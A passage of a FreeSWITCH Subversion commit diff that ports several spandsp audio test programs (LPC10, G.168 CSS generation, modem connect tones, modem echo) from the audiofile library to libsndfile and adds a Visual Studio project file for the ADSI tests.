-    inhandle = AF_NULL_FILEHANDLE;
-    refhandle = AF_NULL_FILEHANDLE;
-    outhandle = AF_NULL_FILEHANDLE;
+    inhandle = NULL;
+    refhandle = NULL;
+    outhandle = NULL;
     if (!decompress)
     {
-        if ((inhandle = afOpenFile_telephony_read(in_file_name, 1)) == AF_NULL_FILEHANDLE)
+        if ((inhandle = sf_open_telephony_read(in_file_name, 1)) == NULL)
         {
-            fprintf(stderr, "    Cannot open wave file '%s'\n", in_file_name);
+            fprintf(stderr, "    Cannot open audio file '%s'\n", in_file_name);
             exit(2);
         }
 
-        if ((refhandle = afOpenFile_telephony_read(REF_FILE_NAME, 1)) == AF_NULL_FILEHANDLE)
+        if ((refhandle = sf_open_telephony_read(REF_FILE_NAME, 1)) == NULL)
         {
-            fprintf(stderr, "    Cannot open wave file '%s'\n", REF_FILE_NAME);
+            fprintf(stderr, "    Cannot open audio file '%s'\n", REF_FILE_NAME);
             exit(2);
         }
     }
@@ -148,9 +151,9 @@
         }
     }
 
-    if ((outhandle = afOpenFile_telephony_write(OUT_FILE_NAME, 1)) == AF_NULL_FILEHANDLE)
+    if ((outhandle = sf_open_telephony_write(OUT_FILE_NAME, 1)) == NULL)
     {
-        fprintf(stderr, "    Cannot create wave file '%s'\n", OUT_FILE_NAME);
+        fprintf(stderr, "    Cannot create audio file '%s'\n", OUT_FILE_NAME);
         exit(2);
     }
     
@@ -185,15 +188,15 @@
         while ((len = read(decompress_file, lpc10_data, BLOCKS_PER_READ*7)) > 0)
         {
             lpc10_decode(lpc10_dec_state, post_amp, lpc10_data, len/7);
-            outframes = afWriteFrames(outhandle, AF_DEFAULT_TRACK, post_amp, BLOCK_LEN*len/7);
+            outframes = sf_writef_short(outhandle, post_amp, BLOCK_LEN*len/7);
         }
     }
     else
     {
         block_no = 0;
-        while ((frames = afReadFrames(inhandle, AF_DEFAULT_TRACK, pre_amp, BLOCKS_PER_READ*BLOCK_LEN)) == BLOCKS_PER_READ*BLOCK_LEN
+        while ((frames = sf_readf_short(inhandle, pre_amp, BLOCKS_PER_READ*BLOCK_LEN)) == BLOCKS_PER_READ*BLOCK_LEN
                 &&
-                (frames = afReadFrames(refhandle, AF_DEFAULT_TRACK, ref_amp, BLOCKS_PER_READ*BLOCK_LEN)) == BLOCKS_PER_READ*BLOCK_LEN)
+                (frames = sf_readf_short(refhandle, ref_amp, BLOCKS_PER_READ*BLOCK_LEN)) == BLOCKS_PER_READ*BLOCK_LEN)
         {
             enc_len = lpc10_encode(lpc10_enc_state, lpc10_data, pre_amp, BLOCKS_PER_READ*BLOCK_LEN);
             if (compress)
@@ -215,25 +218,25 @@
             }
             block_no++;
             if (log_error)
-                outframes = afWriteFrames(outhandle, AF_DEFAULT_TRACK, log_amp, dec_len);
+                outframes = sf_writef_short(outhandle, log_amp, dec_len);
             else
-                outframes = afWriteFrames(outhandle, AF_DEFAULT_TRACK, post_amp, dec_len);
+                outframes = sf_writef_short(outhandle, post_amp, dec_len);
         }
-        if (afCloseFile(inhandle) != 0)
+        if (sf_close(inhandle) != 0)
         {
-            fprintf(stderr, "    Cannot close wave file '%s'\n", in_file_name);
+            fprintf(stderr, "    Cannot close audio file '%s'\n", in_file_name);
             exit(2);
         }
-        if (afCloseFile(refhandle) != 0)
+        if (sf_close(refhandle) != 0)
         {
-            fprintf(stderr, "    Cannot close wave file '%s'\n", REF_FILE_NAME);
+            fprintf(stderr, "    Cannot close audio file '%s'\n", REF_FILE_NAME);
             exit(2);
         }
     }
     
-    if (afCloseFile(outhandle) != 0)
+    if (sf_close(outhandle) != 0)
     {
-        fprintf(stderr, "    Cannot close wave file '%s'\n", OUT_FILE_NAME);
+        fprintf(stderr, "    Cannot close audio file '%s'\n", OUT_FILE_NAME);
         exit(2);
     }
     if (compress)

Modified: freeswitch/branches/seven/libs/spandsp/tests/make_g168_css.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/make_g168_css.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/make_g168_css.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: make_g168_css.c,v 1.15 2008/08/29 09:28:13 steveu Exp $
+ * $Id: make_g168_css.c,v 1.18 2009/05/30 15:23:14 steveu Exp $
  */
 
 /*! \page makecss_page CSS construction for G.168 testing
@@ -43,16 +43,17 @@
 #include <time.h>
 #include <stdio.h>
 #include <fcntl.h>
-#include <audiofile.h>
+#include <sndfile.h>
 #if defined(HAVE_FFTW3_H)
 #include <fftw3.h>
 #else
 #include <fftw.h>
 #endif
-#if defined(HAVE_MATH_H)
-#define GEN_CONST
-#endif
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
 #include "spandsp/g168models.h"
 
@@ -138,21 +139,19 @@
     double pk;
     double ms;
     double scale;
-    AFfilehandle filehandle;
-    AFfilesetup filesetup;
+    SNDFILE *filehandle;
+    SF_INFO info;
     awgn_state_t noise_source;
 
-    if ((filesetup = afNewFileSetup()) == AF_NULL_FILESETUP)
+    memset(&info, 0, sizeof(info));
+    info.frames = 0;
+    info.samplerate = FAST_SAMPLE_RATE;
+    info.channels = 1;
+    info.format = SF_FORMAT_WAV | SF_FORMAT_PCM_16;
+    info.sections = 1;
+    info.seekable = 1;
+    if ((filehandle = sf_open("sound_c1.wav", SFM_WRITE, &info)) == NULL)
     {
-        fprintf(stderr, "    Failed to create file setup\n");
-        exit(2);
-    }
-    afInitSampleFormat(filesetup, AF_DEFAULT_TRACK, AF_SAMPFMT_TWOSCOMP, 16);
-    afInitRate(filesetup, AF_DEFAULT_TRACK, FAST_SAMPLE_RATE);
-    afInitFileFormat(filesetup, AF_FILE_WAVE);
-    afInitChannels(filesetup, AF_DEFAULT_TRACK, 1);
-    if ((filehandle = afOpenFile("sound_c1.wav", "w", filesetup)) == AF_NULL_FILEHANDLE)
-    {
         fprintf(stderr, "    Failed to open result file\n");
         exit(2);
     }
@@ -242,26 +241,12 @@
         silence_sound[i] = 0.0;
 
     for (i = 0;  i < 16;  i++)
-    {
-        outframes = afWriteFrames(filehandle,
-                                  AF_DEFAULT_TRACK,
-                                  voiced_sound,
-                                  voiced_length);
-    }
+        outframes = sf_writef_short(filehandle, voiced_sound, voiced_length);
     printf("%d samples of voice\n", 16*voiced_length);
-    outframes = afWriteFrames(filehandle,
-                              AF_DEFAULT_TRACK,
-                              noise_sound,
-                              8192);
-    outframes = afWriteFrames(filehandle,
-                              AF_DEFAULT_TRACK,
-                              noise_sound,
-                              C1_NOISE_SAMPLES - 8192);
+    outframes = sf_writef_short(filehandle, noise_sound, 8192);
+    outframes = sf_writef_short(filehandle, noise_sound, C1_NOISE_SAMPLES - 8192);
     printf("%d samples of noise\n", C1_NOISE_SAMPLES);
-    outframes = afWriteFrames(filehandle,
-                              AF_DEFAULT_TRACK,
-                              silence_sound,
-                              C1_SILENCE_SAMPLES);
+    outframes = sf_writef_short(filehandle, silence_sound, C1_SILENCE_SAMPLES);
     printf("%d samples of silence\n", C1_SILENCE_SAMPLES);
 
     /* Now phase invert the C1 set of voice samples. */
@@ -276,40 +261,28 @@
         noise_sound[i] = -noise_sound[i];
 
     for (i = 0;  i < 16;  i++)
-    {
-        outframes = afWriteFrames(filehandle,
-                                  AF_DEFAULT_TRACK,
-                                  voiced_sound,
-                                  voiced_length);
-    }
+        outframes = sf_writef_short(filehandle, voiced_sound, voiced_length);
     printf("%d samples of voice\n", 16*voiced_length);
-    outframes = afWriteFrames(filehandle,
-                              AF_DEFAULT_TRACK,
-                              noise_sound,
-                              8192);
-    outframes = afWriteFrames(filehandle,
-                              AF_DEFAULT_TRACK,
-                              noise_sound,
-                              C1_NOISE_SAMPLES - 8192);
+    outframes = sf_writef_short(filehandle, noise_sound, 8192);
+    outframes = sf_writef_short(filehandle, noise_sound, C1_NOISE_SAMPLES - 8192);
     printf("%d samples of noise\n", C1_NOISE_SAMPLES);
-    outframes = afWriteFrames(filehandle,
-                              AF_DEFAULT_TRACK,
-                              silence_sound,
-                              C1_SILENCE_SAMPLES);
+    outframes = sf_writef_short(filehandle, silence_sound, C1_SILENCE_SAMPLES);
     printf("%d samples of silence\n", C1_SILENCE_SAMPLES);
 
-    if (afCloseFile(filehandle) != 0)
+    if (sf_close(filehandle) != 0)
     {
         fprintf(stderr, "    Cannot close speech file '%s'\n", "sound_c1.wav");
         exit(2);
     }
 
-    afInitSampleFormat(filesetup, AF_DEFAULT_TRACK, AF_SAMPFMT_TWOSCOMP, 16);
-    afInitRate(filesetup, AF_DEFAULT_TRACK, FAST_SAMPLE_RATE);
-    afInitFileFormat(filesetup, AF_FILE_WAVE);
-    afInitChannels(filesetup, AF_DEFAULT_TRACK, 1);
-    filehandle = afOpenFile("sound_c3.wav", "w", filesetup);
-    if (filehandle == AF_NULL_FILEHANDLE)
+    memset(&info, 0, sizeof(info));
+    info.frames = 0;
+    info.samplerate = FAST_SAMPLE_RATE;
+    info.channels = 1;
+    info.format = SF_FORMAT_WAV | SF_FORMAT_PCM_16;
+    info.sections = 1;
+    info.seekable = 1;
+    if ((filehandle = sf_open("sound_c3.wav", SFM_WRITE, &info)) == NULL)
     {
         fprintf(stderr, "    Failed to open result file\n");
         exit(2);
@@ -332,27 +305,13 @@
     printf("Noise level = %.2fdB, crest factor = %.2fdB\n", rms_to_dbm0(ms), rms_to_db(pk/ms));
 
     for (i = 0;  i < 14;  i++)
-    {
-        outframes = afWriteFrames(filehandle,
-                                  AF_DEFAULT_TRACK,
-                                  voiced_sound,
-                                  voiced_length);
-    }
+        outframes = sf_writef_short(filehandle, voiced_sound, voiced_length);
     printf("%d samples of voice\n", 14*voiced_length);
 
-    outframes = afWriteFrames(filehandle,
-                              AF_DEFAULT_TRACK,
-                              noise_sound,
-                              8192);
-    outframes = afWriteFrames(filehandle,
-                              AF_DEFAULT_TRACK,
-                              noise_sound,
-                              C3_NOISE_SAMPLES - 8192);
+    outframes = sf_writef_short(filehandle, noise_sound, 8192);
+    outframes = sf_writef_short(filehandle, noise_sound, C3_NOISE_SAMPLES - 8192);
     printf("%d samples of noise\n", C3_NOISE_SAMPLES);
-    outframes = afWriteFrames(filehandle,
-                              AF_DEFAULT_TRACK,
-                              silence_sound,
-                              C3_SILENCE_SAMPLES);
+    outframes = sf_writef_short(filehandle, silence_sound, C3_SILENCE_SAMPLES);
     printf("%d samples of silence\n", C3_SILENCE_SAMPLES);
 
     /* Now phase invert the set of voice samples. */
@@ -368,34 +327,19 @@
         noise_sound[i] = -noise_sound[i];
 
     for (i = 0;  i < 14;  i++)
-    {
-        outframes = afWriteFrames(filehandle,
-                                  AF_DEFAULT_TRACK,
-                                  voiced_sound,
-                                  voiced_length);
-    }
+        outframes = sf_writef_short(filehandle, voiced_sound, voiced_length);
     printf("%d samples of voice\n", 14*i);
-    outframes = afWriteFrames(filehandle,
-                              AF_DEFAULT_TRACK,
-                              noise_sound,
-                              8192);
-    outframes = afWriteFrames(filehandle,
-                              AF_DEFAULT_TRACK,
-                              noise_sound,
-                              C3_NOISE_SAMPLES - 8192);
+    outframes = sf_writef_short(filehandle, noise_sound, 8192);
+    outframes = sf_writef_short(filehandle, noise_sound, C3_NOISE_SAMPLES - 8192);
     printf("%d samples of noise\n", C3_NOISE_SAMPLES);
-    outframes = afWriteFrames(filehandle,
-                              AF_DEFAULT_TRACK,
-                              silence_sound,
-                              C3_SILENCE_SAMPLES);
+    outframes = sf_writef_short(filehandle, silence_sound, C3_SILENCE_SAMPLES);
     printf("%d samples of silence\n", C3_SILENCE_SAMPLES);
 
-    if (afCloseFile(filehandle) != 0)
+    if (sf_close(filehandle) != 0)
     {
         fprintf(stderr, "    Cannot close speech file '%s'\n", "sound_c3.wav");
         exit(2);
     }
-    afFreeFileSetup(filesetup);
 
     fftw_destroy_plan(p);
     return  0;

Modified: freeswitch/branches/seven/libs/spandsp/tests/modem_connect_tones_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/modem_connect_tones_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/modem_connect_tones_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: modem_connect_tones_tests.c,v 1.27 2008/08/29 09:28:13 steveu Exp $
+ * $Id: modem_connect_tones_tests.c,v 1.30 2009/05/30 15:23:14 steveu Exp $
  */
 
 /*! \page modem_connect_tones_tests_page Modem connect tones tests
@@ -30,6 +30,9 @@
 These tests...
 */
 
+/* Enable the following definition to enable direct probing into the FAX structures */
+//#define WITH_SPANDSP_INTERNALS
+
 #if defined(HAVE_CONFIG_H)
 #include "config.h"
 #endif
@@ -39,8 +42,12 @@
 #include <fcntl.h>
 #include <unistd.h>
 #include <string.h>
-#include <audiofile.h>
+#include <sndfile.h>
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
 #include "spandsp-sim.h"
 
@@ -179,8 +186,8 @@
     modem_connect_tones_rx_state_t ans_pr_rx;
     modem_connect_tones_tx_state_t modem_tone_tx;
     awgn_state_t chan_noise_source;
-    AFfilehandle inhandle;
-    AFfilehandle outhandle;
+    SNDFILE *inhandle;
+    SNDFILE *outhandle;
     int outframes;
     int frames;
     int samples;
@@ -257,9 +264,9 @@
     if (decode_test_file == NULL  &&  test_list == 0)
         test_list = 0xFFFFFFFF;
 
-    if ((outhandle = afOpenFile_telephony_write(OUTPUT_FILE_NAME, 1)) == AF_NULL_FILEHANDLE)
+    if ((outhandle = sf_open_telephony_write(OUTPUT_FILE_NAME, 1)) == NULL)
     {
-        fprintf(stderr, "    Cannot create wave file '%s'\n", OUTPUT_FILE_NAME);
+        fprintf(stderr, "    Cannot create audio file '%s'\n", OUTPUT_FILE_NAME);
         exit(2);
     }
 
@@ -270,13 +277,10 @@
         for (i = 0;  i < 20*SAMPLE_RATE;  i += SAMPLES_PER_CHUNK)
         {
             samples = modem_connect_tones_tx(&modem_tone_tx, amp, SAMPLES_PER_CHUNK);
-            outframes = afWriteFrames(outhandle,
-                                      AF_DEFAULT_TRACK,
-                                      amp,
-                                      samples);
+            outframes = sf_writef_short(outhandle, amp, samples);
             if (outframes != samples)
             {
-                fprintf(stderr, "    Error writing wave file\n");
+                fprintf(stderr, "    Error writing audio file\n");
                 exit(2);
             }
             /*endif*/
@@ -292,13 +296,10 @@
         for (i = 0;  i < 20*SAMPLE_RATE;  i += SAMPLES_PER_CHUNK)
         {
             samples = modem_connect_tones_tx(&modem_tone_tx, amp, SAMPLES_PER_CHUNK);
-            outframes = afWriteFrames(outhandle,
-                                      AF_DEFAULT_TRACK,
-                                      amp,
-                                      samples);
+            outframes = sf_writef_short(outhandle, amp, samples);
             if (outframes != samples)
             {
-                fprintf(stderr, "    Error writing wave file\n");
+                fprintf(stderr, "    Error writing audio file\n");
                 exit(2);
             }
             /*endif*/
@@ -315,13 +316,10 @@
         for (i = 0;  i < 20*SAMPLE_RATE;  i += SAMPLES_PER_CHUNK)
         {
             samples = modem_connect_tones_tx(&modem_tone_tx, amp, SAMPLES_PER_CHUNK);
-            outframes = afWriteFrames(outhandle,
-                                      AF_DEFAULT_TRACK,
-                                      amp,
-                                      samples);
+            outframes = sf_writef_short(outhandle, amp, samples);
             if (outframes != samples)
             {
-                fprintf(stderr, "    Error writing wave file\n");
+                fprintf(stderr, "    Error writing audio file\n");
                 exit(2);
             }
             /*endif*/
@@ -338,13 +336,10 @@
         for (i = 0;  i < 20*SAMPLE_RATE;  i += SAMPLES_PER_CHUNK)
         {
             samples = modem_connect_tones_tx(&modem_tone_tx, amp, SAMPLES_PER_CHUNK);
-            outframes = afWriteFrames(outhandle,
-                                      AF_DEFAULT_TRACK,
-                                      amp,
-                                      samples);
+            outframes = sf_writef_short(outhandle, amp, samples);
             if (outframes != samples)
             {
-                fprintf(stderr, "    Error writing wave file\n");
+                fprintf(stderr, "    Error writing audio file\n");
                 exit(2);
             }
             /*endif*/
@@ -361,13 +356,10 @@
         for (i = 0;  i < 20*SAMPLE_RATE;  i += SAMPLES_PER_CHUNK)
         {
             samples = modem_connect_tones_tx(&modem_tone_tx, amp, SAMPLES_PER_CHUNK);
-            outframes = afWriteFrames(outhandle,
-                                      AF_DEFAULT_TRACK,
-                                      amp,
-                                      samples);
+            outframes = sf_writef_short(outhandle, amp, samples);
             if (outframes != samples)
             {
-                fprintf(stderr, "    Error writing wave file\n");
+                fprintf(stderr, "    Error writing audio file\n");
                 exit(2);
             }
             /*endif*/
@@ -376,9 +368,9 @@
     }
     /*endif*/
 
-    if (afCloseFile(outhandle) != 0)
+    if (sf_close(outhandle) != 0)
     {
-        printf("    Cannot close wave file '%s'\n", OUTPUT_FILE_NAME);
+        printf("    Cannot close audio file '%s'\n", OUTPUT_FILE_NAME);
         exit(2);
     }
     /*endif*/
@@ -919,7 +911,7 @@
         hits = 0;
         for (j = 0;  bellcore_files[j][0];  j++)
         {
-            if ((inhandle = afOpenFile_telephony_read(bellcore_files[j], 1)) == AF_NULL_FILEHANDLE)
+            if ((inhandle = sf_open_telephony_read(bellcore_files[j], 1)) == NULL)
             {
                 fprintf(stderr, "    Cannot open speech file '%s'\n", bellcore_files[j]);
                 exit (2);
@@ -928,7 +920,7 @@
 
             when = 0;
             hits = 0;
-            while ((frames = afReadFrames(inhandle, AF_DEFAULT_TRACK, amp, 8000)))
+            while ((frames = sf_readf_short(inhandle, amp, 8000)))
             {
                 when++;
                 modem_connect_tones_rx(&cng_rx, amp, frames);
@@ -960,7 +952,7 @@
                 /*endif*/
             }
             /*endwhile*/
-            if (afCloseFile(inhandle) != 0)
+            if (sf_close(inhandle) != 0)
             {
                 fprintf(stderr, "    Cannot close speech file '%s'\n", bellcore_files[j]);
                 exit(2);
@@ -986,7 +978,7 @@
         modem_connect_tones_rx_init(&ced_rx, MODEM_CONNECT_TONES_FAX_CED_OR_PREAMBLE, ced_detected, NULL);
         modem_connect_tones_rx_init(&ans_pr_rx, MODEM_CONNECT_TONES_ANS_PR, ec_dis_detected, NULL);
         hits = 0;
-        if ((inhandle = afOpenFile_telephony_read(decode_test_file, 1)) == AF_NULL_FILEHANDLE)
+        if ((inhandle = sf_open_telephony_read(decode_test_file, 1)) == NULL)
         {
             fprintf(stderr, "    Cannot open speech file '%s'\n", decode_test_file);
             exit (2);
@@ -995,7 +987,7 @@
 
         when = 0;
         hits = 0;
-        while ((frames = afReadFrames(inhandle, AF_DEFAULT_TRACK, amp, 8000)))
+        while ((frames = sf_readf_short(inhandle, amp, 8000)))
         {
             when++;
             modem_connect_tones_rx(&cng_rx, amp, frames);
@@ -1003,7 +995,7 @@
             modem_connect_tones_rx(&ans_pr_rx, amp, frames);
         }
         /*endwhile*/
-        if (afCloseFile(inhandle) != 0)
+        if (sf_close(inhandle) != 0)
         {
             fprintf(stderr, "    Cannot close speech file '%s'\n", decode_test_file);
             exit(2);

Modified: freeswitch/branches/seven/libs/spandsp/tests/modem_echo_tests.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/modem_echo_tests.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/tests/modem_echo_tests.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: modem_echo_tests.c,v 1.30 2008/08/29 09:28:13 steveu Exp $
+ * $Id: modem_echo_tests.c,v 1.32 2009/05/30 15:23:14 steveu Exp $
  */
 
 /*! \page modem_echo_can_tests_page Line echo cancellation for modems tests
@@ -37,9 +37,9 @@
 models in g168tests.c. 
 
 \section modem_echo_can_tests_page_sec_2 How does it work?
-The current test consists of feeding a wave file of real speech to the echo
+The current test consists of feeding an audio file of real speech to the echo
 cancellor as the transmit signal. A very simple model of a telephone line is
-used to simulate a simple echo from the transmit signal. A second wave file of
+used to simulate a simple echo from the transmit signal. A second audio file of
 real speech is also used to simulate a signal received form the far end of the
 line. This is gated so it is only placed for one second every 10 seconds,
 simulating the double talk condition. The resulting echo cancelled signal can
@@ -62,7 +62,7 @@
 Build the tests with the command "./build". Currently there is no proper make
 setup, or way to build individual tests. "./build" will built all the tests
 which currently exist for the DSP functions. The echo cancellation test assumes
-there are two wave files containing mono, 16 bit signed PCM speech data, sampled
+there are two audio files containing mono, 16 bit signed PCM speech data, sampled
 at 8kHz. These should be called local_sound.wav and far_sound.wav. A third wave
 file will be produced. This very crudely starts with the first 256 bytes from
 the local_sound.wav file, followed by the results of the echo cancellation. The
@@ -87,14 +87,19 @@
 #include <fcntl.h>
 #include <string.h>
 #include <time.h>
-#include <audiofile.h>
+#include <sndfile.h>
 #if defined(HAVE_MATH_H)
 #define GEN_CONST
 #endif
 
+//#if defined(WITH_SPANDSP_INTERNALS)
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+//#endif
+
 #include "spandsp.h"
 #include "spandsp/g168models.h"
 #include "spandsp-sim.h"
+
 #if defined(ENABLE_GUI)
 #include "echo_monitor.h"
 #endif
@@ -108,7 +113,7 @@
     const char *name;
     int max;
     int cur;
-    AFfilehandle handle;
+    SNDFILE *handle;
     int16_t signal[8000];
 } signal_source_t;
 
@@ -116,7 +121,7 @@
 
 fir32_state_t line_model;
 
-AFfilehandle resulthandle;
+SNDFILE *resulthandle;
 int16_t residue_sound[8000];
 int residue_cur = 0;
 int do_codec_munge = TRUE;
@@ -133,10 +138,7 @@
     if (residue_cur >= 8000)
     {
         residue_cur >>= 1;
-        outframes = afWriteFrames(resulthandle,
-                                  AF_DEFAULT_TRACK,
-                                  residue_sound,
-                                  residue_cur);
+        outframes = sf_writef_short(resulthandle, residue_sound, residue_cur);
         if (outframes != residue_cur)
         {
             fprintf(stderr, "    Error writing residue sound\n");
@@ -150,12 +152,12 @@
 static void signal_load(signal_source_t *sig, const char *name)
 {
     sig->name = name;
-    if ((sig->handle = afOpenFile_telephony_read(sig->name, 1)) == AF_NULL_FILEHANDLE)
+    if ((sig->handle = sf_open_telephony_read(sig->name, 1)) == NULL)
     {
         fprintf(stderr, "    Cannot open sound file '%s'\n", sig->name);
         exit(2);
     }
-    sig->max = afReadFrames(sig->handle, AF_DEFAULT_TRACK, sig->signal, 8000);
+    sig->max = sf_readf_short(sig->handle, sig->signal, 8000);
     if (sig->max < 0)
     {
         fprintf(stderr, "    Error reading sound file '%s'\n", sig->name);
@@ -166,7 +168,7 @@
 
 static void signal_free(signal_source_t *sig)
 {
-    if (afCloseFile(sig->handle) != 0)
+    if (sf_close(sig->handle) != 0)
     {
         fprintf(stderr, "    Cannot close sound file '%s'\n", sig->name);
         exit(2);
@@ -291,7 +293,7 @@
 
     signal_load(&local_css, "sound_c1_8k.wav");
 
-    if ((resulthandle = afOpenFile_telephony_write("modem_echo.wav", 2)) == AF_NULL_FILEHANDLE)
+    if ((resulthandle = sf_open_telephony_write("modem_echo.wav", 2)) == NULL)
     {
         fprintf(stderr, "    Failed to open result file\n");
         exit(2);
@@ -386,7 +388,7 @@
     modem_echo_can_free(ctx);
     signal_free(&local_css);
 
-    if (afCloseFile(resulthandle) != 0)
+    if (sf_close(resulthandle) != 0)
     {
         fprintf(stderr, "    Cannot close speech file '%s'\n", "result_sound.wav");
         exit(2);

Copied: freeswitch/branches/seven/libs/spandsp/tests/msvc (from rev 14471, freeswitch/trunk/libs/spandsp/tests/msvc)

Deleted: freeswitch/branches/seven/libs/spandsp/tests/msvc/adsi_tests.vcproj

Copied: freeswitch/branches/seven/libs/spandsp/tests/msvc/adsi_tests.vcproj (from rev 14471, freeswitch/trunk/libs/spandsp/tests/msvc/adsi_tests.vcproj) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/tests/msvc/adsi_tests.vcproj	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/tests/msvc/adsi_tests.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,208 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="adsi_tests"
+	ProjectGUID="{4B3877F1-B3E4-463C-8F39-12231480CC30}"
+	RootNamespace="adsi_tests"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="196613"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories=".;..\..\src\spandsp;..\..\src;..\..\src\msvc;..;..\..\..\tiff-3.8.2\libtiff"
+				PreprocessorDefinitions="WIN32;_DEBUG;_CONSOLE;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				DebugInformationFormat="4"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				LinkIncremental="2"
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				TargetMachine="1"
+				AdditionalDependencies="..\src\Debug\spandsp.lib ..\spandsp-sim\Debug\spandsp.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="$(SolutionDir)$(ConfigurationName)"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="1"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="2"
+				EnableIntrinsicFunctions="true"
+				PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE;HAVE_CONFIG_H"
+				RuntimeLibrary="2"
+				EnableFunctionLevelLinking="true"
+				UsePrecompiledHeader="0"
+				WarningLevel="3"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				LinkIncremental="1"
+				GenerateDebugInformation="true"
+				SubSystem="1"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				TargetMachine="1"
+				AdditionalDependencies="..\src\Debug\spandsp.lib ..\spandsp-sim\Debug\spandsp.lib"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>
+			<File
+				RelativePath="..\adsi_tests.c"
+				>
+			</File>
+			<File
+				RelativePath="..\..\src\msvc\getopt.c"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Header Files"
+			Filter="h;hpp;hxx;hm;inl;inc;xsd"
+			UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
+			>
+			<File
+				RelativePath=".\stdafx.h"
+				>
+			</File>
+			<File
+				RelativePath=".\targetver.h"
+				>
+			</File>
+		</Filter>
+		<Filter
+			Name="Resource Files"
+			Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav"
+			UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
+			>
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

